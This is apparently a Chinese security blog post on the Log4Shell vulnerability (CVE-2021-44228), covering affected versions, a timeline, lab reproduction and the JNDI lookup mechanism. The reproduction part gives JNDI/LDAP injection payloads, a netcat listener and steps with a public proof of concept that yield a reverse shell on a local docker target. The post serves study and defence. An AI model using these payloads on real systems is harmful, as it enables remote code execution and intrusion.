雪崩-log4j漏洞粗谈

文章目录
  1. 1. 什么是log4j2
  2. 2. 漏洞概述
    1. 2.1. 影响范围
      1. 2.1.1. 版本影响
      2. 2.1.2. 供应链影响范围
    2. 2.2. 时间线
  3. 3. 漏洞复现
    1. 3.1. DNS确认漏洞存在
      1. 3.1.1. 漏洞环境
      2. 3.1.2. 漏洞复现
    2. 3.2. 利用漏洞获取shell
      1. 3.2.1. 漏洞环境
      2. 3.2.2. 漏洞复现
  4. 4. 原理分析
    1. 4.1. 漏洞原理
    2. 4.2. 漏洞利用
    3. 4.3. 参考链接
  5. 5. 总结

什么是log4j2

我们先看Apache log4j的官方网站上的描述

Apache Log4j 2 is an upgrade to Log4j that provides significant improvements over its predecessor, Log4j 1.x, and provides many of the improvements available in Logback while fixing some inherent problems in Logback’s architecture.

或者我们采用wikipedia对它的描述

Apache Log4j is a Java-based logging utility originally written by Ceki Gülcü. It is part of the Apache Logging Services, a project of the Apache Software Foundation. Log4j is one of several Java logging frameworks.
Gülcü has since started the SLF4J and Logback[4] projects, with the intention of offering a successor to Log4j.
The Apache Log4j team developed Log4j 2 [5] in response to the problems of Log4j 1.2, 1.3, java.util.logging and Logback, addressing issues which appeared in those frameworks.[6] In addition, Log4j 2 offered a plugin architecture which makes it more extensible than its predecessor. Log4j 2 is not backwards compatible with 1.x versions,[7] although an “adapter” is available. On August 5, 2015, the Apache Logging Services Project Management Committee announced that Log4j 1 had reached end of life and that users of Log4j 1 were advised to upgrade to Apache Log4j 2.[8]

或者干脆采用百度的说法:

Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

很显然,这是java一个最基础的,功能强大的,适配性极强的开源日志模块。它的使用范围非常广,这也就意味着这次漏洞的影响范围非常大。

漏洞概述

这个漏洞在2021年12月9日被阿里云应急响应中心直接公布(我真的很怀疑这不违反漏洞管理方法吗?)(更新下,阿里云因为违法漏洞管理方法被处罚了,笑死。)。发布时间我没记错的话应该是在傍晚,无数公司为了它整夜响应,log4j官方快速释放出log4j-2.15.0-rc1,但是该版本据传依然存在绕过,后续log4j2接连放出了log4j-2.15.0-rc2、log4j-2.16、log4j-2.17等版本,完全修复了该漏洞的利用环。

说回漏洞。在9号时候阿里云公布的不只是漏洞存在情况,还包括验证POC和漏洞原理。漏洞的原理其实非常简单,log4j会默认打印error和fatal级别的日志,当日志信息中存在特定构造的参数时候,会执行JndiLookup方法进行进一步处理,最终加载由攻击者传入的LDAP服务端地址,然后返回一个恶意的JNDI Reference对象,触发漏洞,实现 RCE。(当然目前的POC大多是用DNS查询记录来验证)

这张图我感觉说得比较明白,来自于微信公众号【研磨架构】

漏洞编号为CVE-2021-44228

影响范围

版本影响

根据CVE所描述的范围:

Apache Log4j2 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0, this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

漏洞存在的版本为2.0-beta9 <= Apache Log4j <= 2.15.0-rc1间的所有版本。而log4j 1的所有版本都不存在这个漏洞。

供应链影响范围

经不完全统计,直接和间接引用Log4j的开源组件共计超过17万个;

log4j的1~4层引用关系:直接引用log4j的组件有6960个,第二层引用的超过3万个,第三层超过9万个,第四层超过16万个,总计有173200+个开源组件受Log4j漏洞影响。

已知受影响应用及组件:

VMware大部分产品

Jedis

Logging

Logstash

HikariCP

Hadoop Hive

ElasticSearch

Apache Solr

Apache Struts2

Apache Flink

Apache Druid

Apache Log4j SLF4J Binding

spring-boot-strater-log4j2

Camel :: Core

JBoss Logging 3

JUnit Vintage Engine

WSO2 Carbon Kernel Core

直接引用log4j的组件可参考如下链接:

https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages?p=1

关于攻击趋势相关内容建议看这篇360应急响应的文章:360 Netlab Blog - Network Security Research Lab at 360—从蜜罐视角看Apache Log4j2漏洞攻击趋势

另外说起来的话,官方第一时间释出的log4j 2.15.0-rc1据说是存在RCE漏洞,但是实际上该漏洞需要去修改其默认配置,让本来已经禁用了JNDI的配置重新启用…我是真的想不出来到底什么业务才会这么执着地需要JNDI来执行?而log4j 2.15.0还存在一些问题,其中比较严重的是一个DoS攻击,所以推荐是升级到2.16版本。

log4j-2.17.0是为了修复CVE-2021-45105,一个DoS漏洞。

Apache Log4j2 版本 2.0-alpha1 到 2.16.0 没有防止 self-referential 查找的不受控制的递归。当日志配置使用非默认的 Pattern Layout 与 Context Lookup(例如,$${ctx:loginId})时,控制线程上下文映射 (MDC) 输入数据的攻击者可以制作包含递归查找的恶意输入数据,导致 StackOverflowError,从而终止进程。这也称为 DoS 攻击。
从 2.17.0 版本开始(针对 Java 8),只有配置中的查找字符串才会被递归扩展;在任何其他用法中,仅解析顶层查找,不解析任何嵌套查找。

(29日更新一下,2.17.0版本出现了一个RCE漏洞,CVE-2021-44832,但又是需要去修改默认配置文件的漏洞。Jesus,这事没完了是吧?在这篇文章中有关于log4j后续漏洞的讨论,我非常赞成其总结:通过配置文件来实现 RCE,只能说是一种手段,而不能说是一种常规漏洞。)

时间线

2021-11-24 阿里云安全团队向Apache 官方提交ApacheLog4j2远程代码执行漏洞(CVE-2021-44228)

2021-12-05 官方增加两处commit修复漏洞

2021-12-07 官方发布2.15.0-rc1 版本

2021-12-09 阿里云安全响应团队发布漏洞风险提示

2021-12-10 官方紧急发布2.15.0-rc2版本修复rc1版本绕过问题

2021-12-10 CVE颁发漏洞编号:CVE-2021-44228

2021-12-10 CNVD颁发漏洞编号:CNVD-2021-95914

2021-12-13 官方发布2.16.0 版本

2021-12-17 官方发布2.17.0 版本

2021-12-27 官方发布2.17.1 版本以修复CVE-2021-45105

漏洞复现

漏洞发布时同时释出了POC和EXP,目前最常规的几种验证方法无非是:

1、用代码模拟一个最简的log4j或是JNDI或者lookup环境,输入payload,载入远程代码(其实就是本地的另一个端口),然后弹个计算器。
2、搭建一个(或者找一个)带有log4j2的环境,然后用DNSlog来判断是否成功

我个人感觉用代码层面去测试最多只能确认漏洞的存在,更细节的地方会有一些问题,所以在这里我们使用比较直观的方式2验证。

DNS确认漏洞存在

漏洞环境

靶机:采用了docker搭建的方式,sprintboot框架加入log4j2日志模块实现了一个登录系统。https://github.com/Ode1esse/springboot-login-log4j2-docker

DNS服务器:https://ceye.io

DNS验证网址:https://test.z**tzt.ceye.io

漏洞复现

搭建过程没什么好说的,地址里面有docker-compose.yml,直接载入搭建就好。docker搭建本来就很轻松。搭建之后应该是这样的效果:
毫无任何花哨的界面

然后将payload分别插入账号和密码处,这里我们插入不同的dns地址,从而实现不同的区分,来确定薄弱点存在于哪里。(这也是fuzzing的思维)

这里返回了一个账号密码错误(当然是错误的)

这里我换了一下IP地址

然后我们查看一下DNS平台是否有解析记录。

显然只有username字段,也即是用户名字段触发了漏洞,导致服务器端向该url发送DNS请求。到这里我们实际上已经确认存在了漏洞的存在,但是为什么只有在username字段插入payload才生效呢?

log4j2 shell漏洞的原理是日志框架从日志中识别到JNDI后才会调用方法,实现RCE。那么我们可以进入到docker内部去查看一下日志。

可以看出我们刚刚的错误是最后一条。

其中记录了时间,错误类型,还有账号名。日志中只会保存账号名,所以只有在账号名处插入payload才会被log4j2框架解析,执行JNDI方法从远端请求资源。

如果之后利用此漏洞的话,需要提前注意目标会储存哪些信息进日志,大部分系统会储存错误信息中的IP,账号和密码,少数会额外存储User-Agent字段,可以对此进行fuzzing。

利用漏洞获取shell

漏洞环境

本次的教程全程参考此链接:https://raxis.com/blog/log4j-exploit (纯英文)

所需要的github库为: https://github.com/kozmer/log4j-shell-poc

在kali虚拟机内使用docker搭建了靶机,并且在本地打开了log4j2 shell的恶意类与NC监听服务。当payload发送到靶机时将会触发靶机访问恶意类,并回弹shell到NC监听的端口,实现RCE。

漏洞复现

从github克隆下来的仓库中有需要的几乎所有东西,并且在它的README中也包含了几乎所有教程。按照它们走就好。

首先按照文件pip所需要的东西。

1
pip install -r requirements.txt

打开nc并且监听9001端口

1
nc -lvnp 9001

搭建docker靶机,

1
2
3
cd log4j-shell-poc/
sudo docker build -t log4j-shell-poc .
sudo docker run --network host log4j-shell-poc

搭建成功后可以通过访问http://localhost:8080/ 找到你的访问网页。

开始构造漏洞利用恶意类,注意我们需要手动下载java对应版本jdk,这里推荐使用java-8u20.

获取jdk及具体操作:https://github.com/kozmer/log4j-shell-poc#getting-the-java-version

下载java版本的地址(需要注册oracle账号):https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

下载后将 jdk1.8.0_20 文件复制到log4j-shell-poc文件夹中,开始启用恶意类。

1
2
3
4
5
6
7
8
9
10
11
$ python3 poc.py --userip localhost --webport 8000 --lport 9001

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up fake LDAP server

[+] Send me: ${jndi:ldap://localhost:1389/a}

Listening on 0.0.0.0:1389

开始复现,在用户名框输入payload:${jndi:ldap://localhost:1389/a},密码可以随便输入

分别查看恶意类和nc服务。

显然这里NC已经受到了回弹的shell,测试一下。

成功复现。

原理分析

本章受制于作者的java水平(是的我和大部分安全人员一样主要写python),所以本节只能粗浅地尝试探究一下漏洞的原理。本节末尾会附上一些写得不错的原理分析文章,如果感兴趣可以借助这些文章更加深入。

漏洞原理

触发漏洞的关键点在于两个部分:

1.org.apache.logging.log4j.core.pattern.MessagePatternConverter 的 format() 方法(表达式内容替换):

这部分内容重点就在于代码的主要内容就是一旦发现日志中包含 ${ 就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。

在 ${ 中可以使用的关键词可以通过官方文档查看

2.apache.logging.log4j.core.lookup.StrSubstitutor(提取字符串,并通过 lookup 进行内容替换)

日志在打印时当遇到 ${ 后,Interpolator 类以:号作为分割,将表达式内容分割成两部分,前面部分作为 prefix,后面部分作为 key。然后通过 prefix 去找对应的 lookup,通过对应的 lookup 实例调用 lookup 方法,最后将 key 作为参数带入执行。

由于log4j2 支持很多协议,例如通过 ldap 查找变量,通过 docker 查找变量,通过rmi等等。目前看到使用最多的主要是使用ldap来构造payload:

${jndi:ldap://ip/port/exp}

最终效果就是通过 jndi 注入,借助 ldap 服务来下载执行恶意 payload,从而执行命令,整个利用流程如图所示:

漏洞利用

整个利用流程分两步:

第一步:向目标发送指定 payload,目标对 payload 进行解析执行,然后会通过 ldap 链接远程服务,当 ldap 服务收到请求之后,将请求进行重定向到恶意 java class 的地址。

第二步:目标服务器收到重定向请求之后,下载恶意 class 并执行其中的代码,从而执行系统命令。

关于利用LDAP服务来进行注入攻击已经不是第一次了,JNDI注入,即某代码中存在JDNI的string可控的情况,可构造恶意RMI或者LDAP服务端,导致远程任意类被加载,造成任意代码执行。Fastjson RCE漏洞的利用也用到LDAP注入攻击,还有其他的一些。

参考链接

https://www.freebuf.com/vuls/317446.html

https://www.freebuf.com/sectool/313774.html

http://blog.topsec.com.cn/java-jndi注入知识详解/

https://logging.apache.org/log4j/2.x/manual/lookups.html

总结

这个漏洞在我看来就像是《雪崩》中的图片病毒,只要简单接触就可以轻松地控制一个系统的所有权限或是让它彻底瘫痪。同时它也是一场雪崩,全面地席卷了整个安全圈,几乎所有大公司都在影响范围中。在未来几年的护网中,它可能和shiro一起成为主要突破点。

这个漏洞并不复杂,简单到甚至看看官方文档都有可能发现,因为它根植于log4j2的正常功能,但是这么久了都没被发现,这部分说明了大家对于开源工具的松懈。过去开源一直是安全/稳定的代名词,公司对开源都会默认是安全的,因为“肯定有很多人看过代码,如果有问题早就发现了”,使用越广的开源工具越是如此。但log4j2事件直接戳破了这个幻想——大家其实并不太看代码,都是拿来就用。

同时这件事再次强调了供应链安全,安全左移是必然的趋势,log4j2只是一个开始,还有多少底层开源组件里面存在着危险的漏洞?公司不敢赌,所以必然会加强审查。开源卫士/代码卫士/黑鸭(black duck)这些代码审计服务的出现和盛行就是一个显著的信号。

那么作为一位安全人员,这是否又是一个新的机会呢?